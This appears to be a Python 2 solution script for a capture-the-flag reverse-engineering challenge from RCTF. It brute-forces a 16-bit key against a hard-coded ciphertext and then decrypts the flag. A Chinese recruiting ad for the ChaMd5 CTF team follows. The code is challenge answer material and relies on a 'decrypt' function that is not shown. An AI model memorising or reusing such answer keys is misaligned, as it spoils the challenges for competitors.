def crack(): check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2] check = struct.unpack('>'+'Q'*6,''.join(map(chr,check))) for i in range(0x10000): c = i d = 0 c,d = struct.unpack('QQ',struct.pack('>QQ',c,d)) r1,r2 = decrypt(check[0],check[1],c,d) tmp1 = struct.pack('>Q',r1) if 'RCTF{' in tmp1: print i,tmp1 break def de_flag(): check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2] check = struct.unpack('>'+'Q'*6,''.join(map(chr,check))) flag = '' for i in range(len(check)/2): c,d = struct.unpack('QQ',struct.pack('>QQ',4980,0)) r1,r2 = decrypt(check[2*i],check[2*i+1],c,d) flag += struct.pack('>Q',r1) flag += struct.pack('>Q',r2) print flag
def main(): crack() de_flag()
招新小廣告
ChaMd5 ctf組 長期招新
尤其是crypto+reverse+pwn+合約的大佬
歡迎聯繫admin@chamd5.org